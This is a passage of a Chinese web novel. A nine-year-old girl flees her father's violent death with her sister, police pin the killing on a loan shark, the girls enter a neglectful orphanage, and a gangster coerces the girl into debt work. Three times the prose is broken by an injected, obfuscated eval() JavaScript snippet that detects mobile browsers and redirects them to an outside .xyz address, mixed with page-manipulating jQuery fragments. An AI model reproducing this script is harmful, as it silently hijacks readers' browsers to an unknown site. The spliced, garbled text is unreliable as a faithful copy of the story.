房间里依旧死寂,阮启明的尸体还倒在原地,血腥味浓得让她几乎再次作呕。她没有再去看,径直走向另一间小屋,推开门。 房间的门轻轻被推开,阮淼淼的呼吸声清晰地传来。她停下脚步,小心翼翼地打开了角落的衣柜,看向了那蜷缩成一团睡着的小小身影。 昏暗的灯光下,淼淼睡得毫无防备。柔软的头发贴着小小的额头,胸口随着呼吸一起一伏,脸颊上还带着一抹因为熟睡而泛起的微红。 阮云琛的嘴角微微动了动,想笑,却又被胸口涌上的苦涩压了回去。 她走上前,蹲了下来,把双手擦在自己身上仅剩干净的布料上,小心翼翼地将阮淼淼抱了起来。孩子的体温柔软而温暖,与之前冷得像冰的世界完全不同。 “没事了。”她轻声说,像是在对自己承诺,“一切都结束了。” “我们走吧。”她说。 她抱着阮淼淼,缓慢地站起身。身体的每一个部位都在抗议,膝盖疼得像是要裂开,手臂因为用力过度而微微抽搐,后背的寒意已经穿透了薄薄的衣服,贴在骨头上。 雨声透过窗缝,低沉又绵长,像是某种不知疲倦的低语。阮云琛却听不到那些声音。 她所有的注意力都放在怀里的孩子身上,淼淼的呼吸轻而缓,像一只安睡的幼兽,温热的体温让她的指尖渐渐找回了一点知觉。 阮云琛迈出了第一步,鞋底踩在地板上,发出一声轻微的“啪嗒”。那声音让她怔了一下,像是被突然拉回了现实。地板上是干涸的血迹,颜色深沉得像是某种无法洗净的罪证。 她停顿了一瞬,低头看了一眼自己的脚,又抬起头看向前方。 ——没有路可退。 她继续向前,每一步都仿佛用尽了全身的力气,脚步虚浮,却坚定。 到了门口,她却忍不住停下了。 阮云琛回头看了一眼。 昏暗的灯光下,那具倒在血泊中的身影显得格外狰狞,像是一种无形的嘲弄。他的手指微微蜷缩,像是在死前最后一刻还想抓住什么,却什么都没能抓住。 阮云琛的目光很平静,没有怨恨,也没有恐惧,甚至没有一丝愧疚。只有一种淡淡的疲惫。 她转过头,用肩膀推开了门。 外面的雨打在她的脸上,冰冷刺骨。她下意识地闭了一下眼,抱紧了怀里的孩子。淼淼睡得很沉,小脸靠在她的肩膀上,丝毫没有被外界的寒意惊扰。 阮云琛低头看了一眼她的小脸,那张脸安静得让人几乎忘记了这世界的复杂与污秽。她嘴角微微动了动,像是一抹隐约的弧度,但那笑容很快又消失在无尽的雨幕中。 雨水顺着她的额头和脸颊流下,冲刷掉了血迹和泥污,混合着地上的积水,带走了所有看得见的痕迹。 可是......那些看不见的呢?它们会消失吗? 她不知道。 脚下的路湿滑又泥泞,雨水在夜色中溅起一圈圈涟漪。她小心地调整脚步,每一步都踩得深重而缓慢,像是要将整个身体的重量嵌进地面。 她没有回头,也没有犹豫。肩膀上传来的温度是她唯一的方向,驱使她一步又一步地向前。 雨越下越大,打湿了她的衣服,也打湿了夜色。周围的一切变得模糊,像是融化在了水中。她听不到任何其他的声音,只有雨声在耳边低鸣,绵长、持续,却带着某种无法言喻的力量。 阮云琛抬起头,看向前方的黑暗。 前面是什么,她不知道,她甚至不知道自己会不会走出这一片泥泞,但...... 那又如何? 她的身后是一片死寂,而她只能向前。 那是她的选择,也是她唯一的出路。 4. 警局 雨停了,阳光透过厚厚的云层洒在街道上,但这座城市的一角依旧笼罩着一种说不出的寒意。 阮云琛坐在警车的后座,身上盖着一条薄薄的毛毯。 她低头看着自己的双手,指尖还残留着血迹,被警察粗暴擦拭过后,手背隐约透着擦伤的红痕。 车窗外的街道景象飞快掠过,她却始终没有抬头。 她的脑海中还在回放昨晚的场景,那些鲜血、喘息、刀刃刺入皮肉的声音交织成一场没有尽头的梦魇。 她告诉自己这是一场解脱,却在刺下刀的瞬间感到一阵说不清的钝痛。 “孩子,别害怕,你是安全的。”副驾驶的警察回头看了她一眼,尽量让语气显得温和些,可他脸上的神色却掩不住几分僵硬,连那戒备都显得格外分明。 警察这样,倒也不是全无理由。 昨天的雨下得凶狠,像是天穹破了一个口子。淮龙区那片老楼道成了雨水的集散地,积水混着泥沙和垃圾涌进巷子,顺着楼梯一级一级往上淌。 四楼的万秀收摊比往常早些,推着油腻的铁架车,一步一滑地往家里挪。 雨点砸在雨披上,透过布料的寒意冻得她直哆嗦。推车的手因为湿滑的雨水不停打滑,她的脾气也被这场恶劣的天气磨得暴躁起来。 平时她的面摊收好了搁楼下遮雨棚下就行,不用一天天的扛着铁皮架子上楼下楼。只不过那天的遮雨棚底下停满了车,她没辙,只能自认倒霉,把东西一同扛上了楼。 而巧得很,到了三楼的时候,她停着歇了会儿。 可紧接着,她就闻到了空气里奇怪的味道。 雨夜本该只有湿冷的土腥味,可这味道里混了点刺鼻的铁锈味儿,像是什么腐朽的东西被翻了出来。 万秀耐不住心里好奇,伸头看了一眼。 三楼头间的门半掩着,一点黄光从缝隙里流出来,模模糊糊的,像被雨水稀释了的灯泡光。 “这么晚也不关门?”她嘀咕了一句,撑着伞往前挪了两步。 越走近,味道越浓,浓得让她胸口发闷。 走到半途,万秀就停住了脚步,脑子里飞快地盘旋着各种念头。 那是阮启明住的地方,一个街坊四邻谁提起来都恨不得绕开的名字。好赌,好酒,好打人,老婆病得不轻,也没见他正经拿回过一分钱。前些日子他老婆匆匆下葬,闹得一片唏嘘——谁也不信这人没动什么手脚。 “就这么个活法儿,迟早出事儿。”万秀喃喃着,想起自己家楼下的两个孩子,不禁握紧了雨伞。 她犹豫了一下,左右望了望。楼道空荡荡的,雨声从破旧的窗子灌进来,掩盖了一切动静。 她心里越发不安,但又硬着头皮往前凑了一步,伸手推开了那扇门。 门一开,腥味扑面而来。 灯光下,阮启明瘫倒在地,眼睛睁得老大,死死盯着天花板。他的胸口被捅得血肉模糊,鲜血从地板的缝隙渗下去,混着酒水一起漫开,像是要侵占整个房间。 万秀退了一步,脚后跟踢翻了地上的酒瓶,发出一声脆响。她猛地吸了口气,掏出传呼机拨了报警电话,手抖得差点按错了键。 直到现在,警察也记得昨天夜里给报警人万秀做笔录时说的话。 “阮启明这人啊,平时可不是个好东西,”那女人抱着热水杯的手抖得厉害,杯盖磕在桌沿上,发出细碎的响声,“喝酒赌博打老婆,前阵子那女人病得都快下不了床,他也不管……匆匆埋了,谁知道那是不是病死的?他欠了不少高利贷,招人恨得很,这事儿说不定跟债主有关。” 想到这里,副驾驶的警察皱了皱眉,下意识地看向后座。 昨晚的雨几乎没停,在他们找到阮云琛的时候,她站在雨里,瘦小的身影几乎要被雨幕吞没。 她的怀里抱着一个小女孩,手里却紧握着一把染血的匕首,那握刀的姿势沉稳得不像是个孩子。她的脸半湿半干,血和雨混在一起顺着鬓角淌下,模糊了她的眉眼。 可即使这样,那双眼睛仍旧亮得吓人。不是干净明澈的那种亮,而像是在深深藏着什么,像锋利的刀刃藏在黑暗的刀鞘里,晃得人不敢直视。 “真不敢相信……”开车的警察小声嘀咕了一句,“她真的才九岁?” 副驾驶的警察没接话,只是透过后视镜看向了阮云琛。 他不知道该怎么形容。 那孩子像一棵小小的、却绝不肯弯折的树,整个人散发出一种令人不寒而栗的冷静。 车厢里安静得可怕。 雨声透过窗户传进来,重重地砸在耳膜上。 阮云琛低头看着淼淼,似乎完全没听见这些声音,也没有察觉周围人的目光。她抬起一只手,轻轻拂开淼淼脸颊上的一缕头发,像是在做一件再普通不过的事。 副驾驶的警察忍不住开口:“接下来……你打算怎么办?” 他的声音低得像是叹息,又像是和自己说话,透着一种说不出的疲惫。 阮云琛没有回答。 她望着窗外,街景在雨幕里模糊成一片黑灰交杂的色块。她知道该说什么才能让这些人安心,但她也知道,那不是她会说出口的答案。 她靠在车窗上,头发湿漉漉地贴在脸侧,雨水浸透的寒意一路浸进骨髓。她的手紧紧抱着怀里的妹妹,像是抱住了她们最后的依靠。 车里弥漫着令人窒息的安静,只有雨声断断续续地敲打着车窗。 副驾驶上的警察不时回头看向后座,眉心微微蹙起。 昨晚的雨太大,线索太多,所有人的注意力都被拉扯得七零八碎,可现在最重要的并不是那片狼藉的犯罪现场,而是后座的两个孩子。 他目光落在阮云琛身上,又转向窗外。街上的积水映着昏黄的路灯,像一场迟迟无法消散的迷雾。 “廖处,现在该怎么办?”驾驶座的警察冷不丁地问了一句。 廖致远的目光微微一顿,随即又转回来,落在后座的两个孩子身上。 “先送回局里吧。”他说,声音里听不出多余的情绪,像是在确认一件再平常不过的事。 驾驶座上的警察微微点头,没有再多问,转动方向盘,将警车驶向熟悉的路线。 雨刷划过玻璃,发出规律的摩擦声,打破了车内沉闷的气氛,却又让这一切显得更加压抑。 警车在警局的后门停下,廖致远推开车门,撑起伞,站在车旁等着。他的视线落在阮云琛身上,依然带着那种复杂而无声的探究。 “下车吧。”他的语气很轻,甚至有些刻意的温和。 阮云琛没有动,手臂紧紧搂住怀里的淼淼,像是一根绷得太紧的弦,稍有动静就可能断裂。 廖致远弯下腰,把伞向后座伸过去,雨水顺着伞边滴落在地上。他没有催促,只是静静地看着她。 “放心,没人会伤害你们。”他的声音像一片雨夜里的树叶,轻轻飘落,却带着一种不容置疑的平静。 阮云琛的目光从伞边掠过,最终落在他的脸上。隔了会儿,她才抱紧了淼淼,慢慢地挪动脚步,下了车。 廖致远又叹了口气。 当晚,阮云琛和阮淼淼被安置在了警局。 案情复杂,现场混乱,局里需要时间梳理所有的线索,而她们,暂时也无处可去。 廖致远靠在走廊的墙边,透过玻璃窗看向了办公室里头。 阮启明被刺身亡的案子发生得突然,那把作为凶器的匕首却是在那个九岁的女孩手里握着。 他当然不相信九岁的小孩会杀人——并且捅了一个力壮如牛的成年男子拢共二十八刀这件事,其他警员自然一样。 不过还好,鉴定科很快得到了结果。 廖致远的手指在档案袋上轻轻敲了敲,视线停在桌上的那份鉴定报告。文件的边缘已经有些卷曲了。 报告上的死因被清晰地写着:突发性脑溢血,倒地时后脑撞到茶几边缘,导致颅内出血不止。 然而,尸体上其他伤口的存在却让整个案件变得更加扑朔迷离。 法医的记录中提到,死者的身体上共有二十八处刀伤。那些伤口凌乱无章,刀刃深浅不一,显然带着一种毫无理智的疯狂。 而刀柄上的指纹显示得清清楚楚:一组属于九岁的女孩——阮云琛的小手印;另一组,则让人心生厌恶,是邻居张庆发。 张庆发的名字赫然出现在记录中,和那些伤口一样刺目。 这人是个惯犯,专靠放高利贷吃饭,手段卑劣且不择手段。 档案上的几条记录简洁得过分,却藏着不少腥风血雨。他的名字出现在过几起暴力催债案里,但每次都能在法网边缘游走,逍遥法外。 廖致远揉了揉太阳穴,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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玻璃上映出阮云琛瘦小的身影,她依旧抱着那个两岁的妹妹——那小丫头还在睡。 阮云琛手里拿着个空了一半的奶瓶,靠在椅子上,肩膀微微垂着,一动不动,像是在沉睡,却连熟睡的姿势都带着一丝防备的味道。 从警方的角度,案子无疑即将画上一个完美的句号,可廖致远却总觉得哪里怪怪的。 这案子进展的......未免有些太过顺利了。 证据确凿,认赃物赃具获,除了张庆发作为一个做了刀尖舔血生意数十年之久的惯犯竟然会犯下把凶器落在现场这种低级错误之外,没有一点问题。 廖致远深吸了一口气,把所有复杂的情绪都压在胸口。 ……算了。 孩子而已。 “查得清就好了,”他低声说,像是自言自语,“孩子的事,走流程吧。” 调查员点了点头。 “上边打算怎么安排这两个孩子?”他问道。 “孩子父母都没了,现阶段找不到其他监护人,只能按照惯例,暂时送去福利院。”调查员说。 廖致远沉默了会儿,揉了揉眉心,试图压下好几夜没合眼的疲惫:“她们......有没有什么亲属?” “查了,能查的都查了。”调查员似乎也明白廖致远想问什么,他只是叹了口气,“这俩孩子的父亲……酗酒、赌博,欠债,早和他兄弟姐妹断了来往。昨晚联系上了一个远房亲戚,对方一听是他的事,直接挂了电话。” 廖致远没忍住“啧”了一声:“那孩子妈那边呢?” “也是一样,没得选。几个亲戚都是泥菩萨过河,自己都顾不过来,哪还有能力养俩孩子。”调查员的语气听不出情绪,似乎只是在陈述一个冰冷的事实。 办公室里忽地安静了下来。 外边的雨还在下,淮龙市的梅雨季节总是跟天漏了似的,怎么也停不下来。 “福利院是……最后的选择吧。”廖致远的声音低了下去,像是在对自己感慨,又像是在说服自己。 调查员沉默地点了点头。 廖致远闭了闭眼,又缓缓睁了开。 他的心底泛起一阵说不清道不明的情绪,像雨后的冷风一样,刺得人心口发疼。他知道福利院意味着什么,可这,大概是她们最“安全”的归宿了。 “起码,比这里好。”他像是对自己低语了一句。 调查员听见了,没有接话,只是在心里默默补了一句:“但愿吧。” 5. 福利院 车子驶入窄巷时,天已经彻底放晴。 阳光洒在湿润的青石路上,空气中残留着昨夜的潮湿气味。 阮云琛靠在车窗旁,目光直直地看着窗外,没有焦点。路旁的老建筑上爬满了枯死的藤蔓,行人寥寥,偶尔传来自行车车铃的清脆声。 阮云琛沉默了一路。 开车的警察一路上也没有讲任何多余的话。 警察们似乎对她的态度习以为常——或者说,警察并不是特别在乎。 淮龙市的治安本来就不好。 这是一座活在历史阴影里的城市,曾经的繁华随着老工业的没落化为乌有,只剩下斑驳的厂房和破败的街巷,像一场永远清理不完的垃圾场。 街道狭窄得像是一不小心就能撞上过去的时光,废弃的铁轨横亘在城区的角落,仿佛某种无声的枷锁,将整座城市锁在了停滞的过去。 白天街头还能看到些许人影,夜里就像被人蒙上了一层冷冷的雾,路灯暗得像熬了夜的眼睛,照不亮任何东西。 这里的居民多数沉默,背弯得像是被压了太多看不见的重担。年轻人跑得干干净净,只留下几家不得不坚守的铺子,倔强地开着。 治安差,是理所当然的事。 城北的棚户区是罪犯的天堂,斑驳的墙壁上总能看到新旧交叠的涂鸦,有的图案被涂得歪歪扭扭,还有一些像是警告,更多的则是单纯的挑衅。 街头巷尾的烟摊下,常年聚集着一群形迹可疑的人,他们谈生意的声音低得像蚊子嗡嗡,却总能被风传得很远。 放高利贷的、偷摩托的、卖假货的,每天都有新面孔出现在这些地方,又每天悄无声息地消失。 街区的居民习惯了躲在窗帘后看热闹,没人会为了一个陌生人的惨叫声报警,甚至连抱怨都不愿多说一句。 警察来了又怎样? 那些穿着制服的身影只是匆匆出现,又匆匆离开,像风卷起的尘土,落下时依旧是一片死寂。大家都清楚,那些人手里的笔和文件再多,也填不满这座城市的漏洞。 偶尔有外地人误入淮龙市,刚开始会好奇这地方为何冷清,待时间稍长,才会发现这里真正的规则是什么。没有规则,没有秩序,只有一场所有人都疲于应付的游戏。 这样的地方,治安会好吗? 警察们不愿说话,不是不在乎,而是早就学会了闭嘴。 来得久了,他们甚至学会了不去看那些破损的路牌、不去数街边的垃圾堆——太多了,看得多了,也不过是一场徒劳。 对他们而言,能把这俩事件幸存者给安排去福利院,并不是个坏的结果。 警车在一栋破旧的建筑前停了下来。 福利院的大门斑驳不堪,门框上挂着一个歪斜的牌匾,上面写着“淮龙福利院”几个字。灰色的墙壁已经剥落出斑驳的水渍,像是一件用旧了的破棉袄,连遮羞的功能都快失去。 “下车吧。”警察的声音硬邦邦的。 阮云琛掀开盖在身上的毛毯,把怀里的阮淼淼抱得更紧了些。 淼淼睡得正熟,绵软的小脑袋压在她的肩上,温热的呼吸喷洒在她的颈侧。阮云琛忍不住笑了笑。 眼前是个极小的被围起来的园子。 园子的大门锈迹斑斑,上面有块摇摇欲坠的铁牌。 铁牌上面漆着几个脱落得只剩一半的字,分辨不出原本的模样。风刮过,铁牌发出低沉的吱呀声,像是在不停地哀鸣。 园子里有栋三层高的建筑。 灰白的墙皮剥落得斑驳不堪,裸露的砖缝像老人的皱纹一样刻满了时光的疲态。墙上的窗户半开半掩,冷风从缝隙中渗透出来,带着一丝阴冷的湿气。 大门嘎吱一声开了。 一个穿着蓝色工作服的女人从门内走了出来,嘴里叼着一根牙签,身上套的衣服皱得像是刚从洗衣篮里捡出来的。 她抬了抬眼皮,懒懒散散地瞟了阮云琛一眼,又把目光转向站在旁边的警察。 “新来的?”她含着牙签随口问了一句。 警察点了点头,递过去一叠文件。 女人接过来,随意地翻了几页,动作敷衍得就像在打发一桩毫无意义的公务。 “没问题吧?”警察出于惯性地补了一句。 “有啥问题。”女人合上文件,牙签在嘴里轻轻一转,然后吐在了地上。她漫不经心地抬了抬下巴,“跟我来吧。” 说完,她抬脚往里面走去,步伐拖沓,完全没回头看上一眼,好像根本不在乎接进来的是谁,也不在乎身后的小孩儿到底有没有跟上来。 阮云琛低头看了一眼地上被雨水泡软的牙签,什么也没说。她回头匆匆给警察鞠了个躬——他已经启动了车子,准备走了——随即跟了上去。 门内的院子地面上布满了坑洼积水。 水里漂浮着枯叶和塑料袋,偶尔有几只麻雀落下来啄食,又立刻被门口经过的大脚吓飞,翅膀扑扇着划开一片雨后的阴霾。 她站在门边,身后的影子被阳光拉得很长,像是一条延伸向未知的长路。淼淼靠在她肩膀上,睡得沉稳,丝毫没有察觉到周围压抑得像要滴出水的空气。 “还愣着干嘛?快点。”领路的女人催了一句,语气里的不耐烦溢于言表。 阮云琛没有说话,只是抱紧了怀里的淼淼,低头跟了上去。 鞋底踩在湿滑的青石路上,发出细微的吱嘎声。她感觉到有几道目光从不远处投过来,那是几个靠墙站着的孩子,头发蓬乱,衣服皱巴巴的,眼神里写满了陌生与敌意。 “又有人来了?”一个年纪稍大的男孩低声嘀咕,嗓音里带着一丝戒备和审视。 “看着有点呆啊。”另一个孩子抱着膝盖,语气凉凉的。 他们的眼神像是野猫在深夜里看到路人,明明带着浓厚的好奇,却又竖起尖利的防备,仿佛只要稍有靠近就会发出低吼。 阮云琛的脚步没有停,目光从那些目光上掠过,没有焦点,也没有任何回应。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830923|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一进大门,湿冷的空气扑面而来,混合着发霉的气味和若有若无的腐朽味道,刺鼻得狠。 狭窄的门厅里,天花板低矮得让人喘不过气,一盏灯泡挂在头顶,光线摇摇晃晃,像溺水的人手里攥着的一盏微弱烛火。墙角的石灰层已经大块剥落,露出潮湿的水泥,犹如伤口化脓,腐烂不堪。 阮淼淼在怀里小声哼唧了一下,小手扬着挥舞了起来。阮云琛低头看了眼,轻轻拍了拍她的背:“没事,睡吧。” 大厅里散落着几把旧椅子。 有的椅背已经断了半截,倚在墙边勉强立着。墙角蹲着几个孩子,目光在昏暗中亮得惊人。他们衣服脏兮兮的,发丝结成缕,像被风吹散的杂草。 那目光像是困兽在观察陌生入侵者,带着本能的警惕与无声的防备。 “快点。”前头的女人抬了抬脚,声音拖着浓浓的鼻音,“磨蹭什么呢?” 阮云琛沉默着,把阮淼淼的脑袋护得更紧些。 女人带着她走过狭长的走廊,钥匙在手中转了两圈,哐当一声插进锁孔。 “你的房间。”她语气生硬得像一扇没上油的旧门,开关之间全是刺耳的磨损,“行李放进去,床位随便挑,饭点别迟到。” 话音刚落,她便转身离开,拖鞋在地板上发出啪嗒啪嗒的声音,响亮却疲惫,像是刻意要提醒谁,这里所有的一切——包括她自己——都不值得关注。 阮云琛抱着淼淼站在门口,看着那背影渐渐隐没在阴暗的走廊尽头。她低头看了怀里的孩子一眼,抬脚走了进去。 房间很小,四张架子床并排摆着,床架的漆剥落得厉害,露出金属生硬的灰白色,带着一股锈迹未退的味道。 靠墙放着几张掉漆的柜子,门板歪歪斜斜,像是风吹几下就能散架。空气里混杂着汗味、潮气和一种若有若无的霉味,像个不通风的地下室。 她选了靠窗的下铺,把包放在床边,动作很轻,生怕吵醒怀里的淼淼。窗外是一片狭窄的小院,地上积着雨水,几个浅浅的水坑映着刚刚放晴的天空。 几只麻雀跳过水面,啄食残留的面包屑,院角的枯树在风里晃动,光秃秃的枝条摩擦着墙面,发出一声声低沉的沙沙声。 门外响起了脚步声,不多时,几个孩子走了过来,透过门缝往里瞧。 “新来的?”一个男孩的声音传来,语调带着点漫不经心的挑衅。 “像个哑巴。”另一个声音附和,笑声轻轻的,像被刻意压低的针尖,刺人却不刺耳。 阮云琛没有理会他们。她把淼淼放在床上,用毛毯盖好,自己坐在床边。她的目光从窗外扫过,落在院子那几只麻雀身上。 麻雀动作敏捷,低头啄了一下,又迅速地跳开,落在更远一点的枝条上。它们的翅膀抖落了雨水,飞快地扑扇两下,接着一跃而起,消失在灰蒙蒙的天色里。 屋子里静得只能听见淼淼均匀的呼吸声。阮云琛垂下眼,手指无意识地摸索着床边金属架微微发凉的边角。 6. 乌云 清晨的铃声响起,拖着长长的回音,像一根无形的鞭子抽在每个孩子的背上。阮云琛睁开眼,习惯性地朝床边探去——淼淼还睡在旁边,小小的身体缩成一团,睫毛颤了颤,似乎正在做一个温柔的梦。 她静静地盯着妹妹看了一会儿,摸了摸她的额头。淼淼的呼吸均匀,脸颊微微泛红,昨晚似乎睡得安稳。阮云琛的手停留片刻,才抽回来,动作轻得像怕惊扰了这个早晨唯一的平静。 门外传来吵杂的声音,孩子们蹬床板的响动夹杂着生活老师的催促。 她知道不能耽搁,便匆匆拉开被子,把自己的那件薄外套披在淼淼身上,然后迅速地叠好床铺,拖鞋踩在地板上的声音小得几乎听不见。 淼淼醒了,揉着眼睛坐起来,看着姐姐的背影发呆。阮云琛回头的时候,看到那双亮晶晶的眼睛,忍不住伸手摸了摸她乱糟糟的头发。 “再睡一会儿,我去给你拿早饭。”她低声说。 淼淼点点头,乖乖地重新躺回去。 阮云琛拉开门走出去,冰冷的空气像一盆冷水泼在脸上。 走廊里站满了还没彻底清醒的孩子,个个脸上写满不情愿。生活老师站在楼梯口,拿着一个记事本,嗓门像破铜锣:“都排好队!排好队!磨磨蹭蹭的,饭还要不要吃了!” 队伍挪到了食堂。 米粥稀得像洗米水,馒头发出一股淡淡的酸味,咬上一口还能尝到模糊的发酵味道。阮云琛端着餐盘,习惯性地把馒头分成两半,自己留一半,另一半悄悄塞进袖口。 她没有看周围其他孩子的眼神,但她知道一定有人在盯着她。 她不在意,也不屑在意。 吃过早饭,生活老师照例站在院子里点名分配任务。 阮云琛和几个年纪相仿的孩子被派去街头发传单,她低着头默默接过一叠纸,揣进怀里,迈步走出了院子。 外面的风掀起地上的灰尘,混合着腥湿的气味。 街道两旁的树木早就枯萎,枝杈光秃秃地像被剥光了皮的骨头。阮云琛攥紧手里的传单,挨个递给过往的路人,手上动作麻木又机械。 有些人接了,有些人嫌恶地摆手,甚至还骂了两句。 阮云琛不动声色地继续,脑海里却一直在盘算。她的存钱计划已经进行了一段时间,但远远不够——每次偷偷攒下的零钱加起来不过寥寥几块,而生活老师的目光像鹰一样,任何异常都会引来不必要的麻烦。 她需要一个机会,一个可以真正改变这一切的机会。 阳光从乌云的间隙中漏下来,打在灰色的福利院墙面上,却没有带来多少温暖。 孩子们一字排开站在院子里,每个人手里都拿着一沓薄薄的传单。 工作人员站在队伍前方,手里夹着一根烟,声音沙哑地大声说道:“今天的任务,每人一百张传单,发不完就别回来吃晚饭。” 阮云琛站在队伍的末尾,低着头,目光落在脚边的泥土地上。她的脸上没有表情,手指紧紧捏着传单边缘。薄薄的纸张在她的掌心摩擦,带来一种轻微的刺痛感。 “听见没有!”女人的声音提高了八度。 “听见了。”孩子们低声回应,声音里没有半点情绪。 阮云琛默不作声。 她不需要再问为什么会有这样的安排,这里的一切早已昭然若揭。 所谓的“勤工俭学”不过是福利院赚钱的借口,而他们这些孩子,不过是最廉价的工具。 她跟着队伍走出福利院的大门,阳光刺得她眯了眯眼。 工作人员懒散地走在前面,偶尔回头喊两句:“都给我规矩点!别想着偷懒,不然有你们好看!” 街道上人来人往,商贩的吆喝声混杂着自行车铃声,此起彼伏。阮云琛被分配到一条僻静的小巷口,她的任务是站在巷子口,把传单塞进每一个路人的手里。 传单上印着一家名叫“顺兴商行”的广告,底部标注着地址和联系电话。 她没听说过这家店,也懒得去想它的真实背景。对她来说,这只是她计划的一部分,至于传单本身,并不重要。 路人匆匆而过,有人接下传单,有人直接无视她。一个中年男人经过时皱着眉头挥了挥手,语气不善地说道:“别给我,我不看这些东西。” 阮云琛没有回答,只是低头继续递给下一个人。 她很清楚,争执没有意义,完成任务才是她需要做的。 几个小时过去了,她的脚已经站得有些麻木,手里的传单还有一小半没有发完。巷子的尽头传来一阵嘈杂声,她抬起头,看见另一个孩子被一个男人训斥着,那孩子手里的传单被撕成了碎片,洒了一地。 “你们这些孩子,成天碍事!谁让你站在这儿的?滚远点!”男人一边骂,一边把碎纸踢开。 那个孩子吓得直掉眼泪,福利院的工作人员却毫无动静,只是冷冷地看了他一眼,挥手让他站回自己的位置,甚至没有一句安慰。 阮云琛低下头,握着传单的手稍微用了些力,纸张被捏得有些变形。 她从来不抱怨。 不敢抱怨,不能抱怨,也不愿抱怨。 她知道,在这里,任何情绪化的举动都会被视为软弱,甚至会带来更糟糕的后果。与其浪费力气,不如把它用在更有意义的地方。 天色渐渐暗下来,街上的行人越来越稀少。 空气中的寒意逐渐加重,落日的余辉被高楼挡住,洒下斑驳的暗影。阮云琛低着头,手里的传单只剩最后几张。 阮云琛动作熟练地将传单塞给愿意接的人,动作迅速而机械,她早已习惯了这样的重复。 此时此刻,她只想尽快完成任务,赶回福利院,至少......晚上还会有碗热粥等着她。 可偏偏就在她伸手将最后一张传单递给一个过路人的时候,一只戴着银戒的手从人群中突然伸出,截住了那张传单。 阮云琛愣了一下,心中冒起了一股不太好的预感,下意识地抬起头。 ——果不其然,是宋祈。 男人站在暮色中,嘴角挂着一抹意味深长的笑,嘴里叼着半截燃到尽头的烟。 他的花衬衫领口敞开,露出一截纹着狰狞图案的皮肤,在昏暗的街头显得格外刺眼。 “还记得我吧,小丫头?”宋祈晃了晃手里的传单,微微眯起眼睛打量着她,声音懒散却带着某种压迫感。 阮云琛的心猛地一沉。 她怎么会忘记。 这个男人改变了她的人生轨迹,甚至可以说,他帮她彻底撕开了原本的命运,将她推向了无法回头的深渊。 刀是她自己握的,血是她自己沾上的。宋祈给了她一个机会,给了她一个她没法拒绝的选择,而她则是那个推开门走进黑暗的人。 阮云琛感谢他。 她知道,宋祈迟早会来找她。他不是那种会轻易放过什么人的角色,更不是会白白施恩的人。 只是,她没想到会是现在。 “看起来你混得还挺不错。”宋祈将传单对折,随手塞进了裤兜里。他的目光在她瘦小的身上扫过,最终落在她紧握的手上,像是嗅到了某种不安的气息,“福利院福利如何?” “有饭吃。”阮云琛努力让自己的声音听起来平静,但仍然忍不住攥紧了手指,“你......您来干什么?” 宋祈轻笑一声,像是听到了什么有趣的笑话:“我啊......我来看看我的‘小朋友’过得怎么样啊。” “......我不是你的‘小朋友’。” “怎么能这么说话?”宋祈懒懒地笑着,靠在路灯杆上,指间的烟灰抖落了一地,“要不是我,你还不一定能从那个鬼地方全身而退呢。” 阮云琛低头看了一眼自己手里的传单,没有接话。 宋祈没太在意,他抬起手,从鳄鱼皮的钱夹里拿出了两百块,指了指不远处的一家便利店:“去给我买条烟,剩的钱都归你。” 阮云琛顿了顿,没有接下那钱:“商店不卖烟给未成年。” 听着了这么一句,宋祈像是捡到了个大笑话。他捧腹笑了半天才停下来,擦了擦笑出来的眼泪:“你还真信他们有钱不赚?” 阮云琛没接话。 她沉默了会儿,还是接过了那两百块。 宋祈也不着急。 他碾灭烟头,把手插进兜里,斜靠在电线杆上,又点燃了根烟。直到看到阮云琛提着条红杉树从便利店里走出来后,他才笑了起来。 “我就说吧,”他吐出一口烟雾,目光带着些戏谑,“谁会有钱不赚?” 阮云琛没搭话,低头把找零揣进兜里。 宋祈眯了眯眼,盯着她的侧脸看了片刻,笑容渐渐加深。他缓缓走近一步,声音压低了些:“走吧,陪我去办点事。” 阮云琛抬起头,眉头微微蹙起:“你要我做什么?” 宋祈从兜里掏出一张照片,折得四四方方。他展开照片递到她面前:“这人欠了我的钱,跑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830924|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我要你找到他,跟他谈谈该怎么还。” 阮云琛看了一眼照片。照片上的男人眉目间带着几分市侩的狡黠,嘴角的弧度似笑非笑,却又透着躲闪......显然,这并不是一个容易对付的人。 “你不是有一堆手下吗?为什么找我?”她的声音依旧冷静,但多了一点试探。 “因为你是孩子啊。”宋祈的语气带着笑意,却像是一把压着喉咙的刀,“你不是自己说的吗?没人会防备一个小孩。” 阮云琛没有动。她的手攥紧照片,指节发白,眼睛却冷静得可怕。 宋祈直起身,猛吸了一口手里的烟——这才没过一会儿,那烟只剩下黄色的烟屁.股了。 他吐了口烟圈:“别太紧张,这事对你来说轻而易举。” 他顿了顿,语气带上一丝懒散的威胁:“或者,你想让我去福利院找你那三岁的妹妹聊聊?” “我跟你去。”阮云琛说。 阮云琛直接上了宋祈的车。 